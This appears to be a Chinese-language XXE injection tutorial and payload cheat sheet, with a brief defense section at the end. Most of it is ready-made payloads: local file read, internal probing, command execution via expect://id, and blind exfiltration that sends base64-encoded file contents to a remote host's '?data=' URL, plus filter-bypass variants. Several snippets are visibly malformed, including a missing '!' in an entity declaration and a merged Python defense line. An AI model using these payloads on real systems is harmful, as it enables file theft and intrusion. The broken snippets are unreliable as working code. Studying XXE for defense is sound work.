一、XML与XXE

XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。XXE漏洞全称XMLExternal Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

用法:

  1. 读文件:

    1
    2
    3
    4
    5
    <?xml version = "1.0"?>
    <!DOCTYPE ANY [
    <!ENTITY xxe SYSTEM "file:///d://test.txt">
    ]>
    <x>&xxe;</x>
  2. 内网探针或攻击内网应用(触发漏洞地址)

    1
    2
    3
    4
    5
    6
    <?xml version = "1.0" encoding="UTF-8"?>
    <!DOCTYPE foo [
    <!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://192.168.8.232/test.txt">
    ]>
    <x>&xxe;</x>
  3. RCE

    该CASE是在安装expect扩展的PHP环境里执行系统命令

    1
    2
    3
    4
    5
    <?xml version = "1.0"?>
    <!DOCTYPE ANY [
    <!ENTITY xxe SYSTEM "expect://id">
    ]>
    <x>&xxe;</x>
  4. 引入外部实体dtd

    1
    2
    3
    4
    5
    6
    <?xml version = "1.0" ?>
    <!DOCTYPE test [
    <!ENTITY % file SYSTEM "http://127.0.0.1/test.dtd">
    %file;
    ]>
    <x>&send;</x>
    1
    2
    test.dtd:
    <!ENTITY send SYSTEM "file:///D:/test.txt">
  5. 无回显,读取文件

    1
    2
    3
    4
    5
    6
    7
    <?xml version = "1.0"?>
    <!DOCTYPE test [
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:/test.txt">
    <!ENTITY % dtd SYSTEM "http://192.168.8.232/test.dtd">
    %dtd;
    %send;
    ]>
    1
    2
    3
    4
    5
    test.dtd:
    <!ENTITY % payload
    "<!ENTITY &#x25; send SYSTEM 'http://192.168.8.232/?data=%file;'>"
    >
    %payload;
  6. 协议-读文件(绕过姿势)

    • ENTITY,SYSTEM,file等关键词被过滤

      使用编码方式绕过:UTF-16BE

      cat payload.xml | iconv -f utf-8 -t utf-16be > payload.8-16be.xml

    • 如果http被过滤,则可以

      1. data://协议绕过

      2. file://协议加文件上传

        1
        2
        3
        4
        5
        <?xml version="1.0" ?>
        <!DOCTYPE test [
        <ENTITY a SYSTEM "file:///D:/test.txt">
        %a;
        ]>
        1
        2
        <!--上传文件-->
        <!ENTITY % b SYSTEM 'http://192.168.8.232/test.dtd'>
      3. php://filter协议加文件上传

        1
        2
        3
        4
        5
        6
        7
        8
        <?xml version="1.0" ?>
        <!DOCTYPE test [
        <!ENTITY a SYSTEM "php://filter/resource=D:/test.txt">
        %a;
        ]>
        <test>
        &xxe;
        </test>
        1
        2
        <!--上传文件-->
        <!ENTITY xxe SYSTEM 'php://filter/read=convert.base64-encode/resource=./flag.php'>

二、防御方案

  1. 禁用外部实体

    1
    2
    3
    4
    5
    6
    7
    8
    PHP:
    libxml_disable_entity_loader(true);

    JAVA:
    DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);

    Python:
    from lxml import etreexmlData=etree.parse (xmlSource,etree.XMLParser(resolve_entities=False)
  2. 过滤用户提交的xml数据

    过滤关键词:<!DOCTYPE<!ENTITY,或者SYSTEMPUBLIC

  3. WAF产品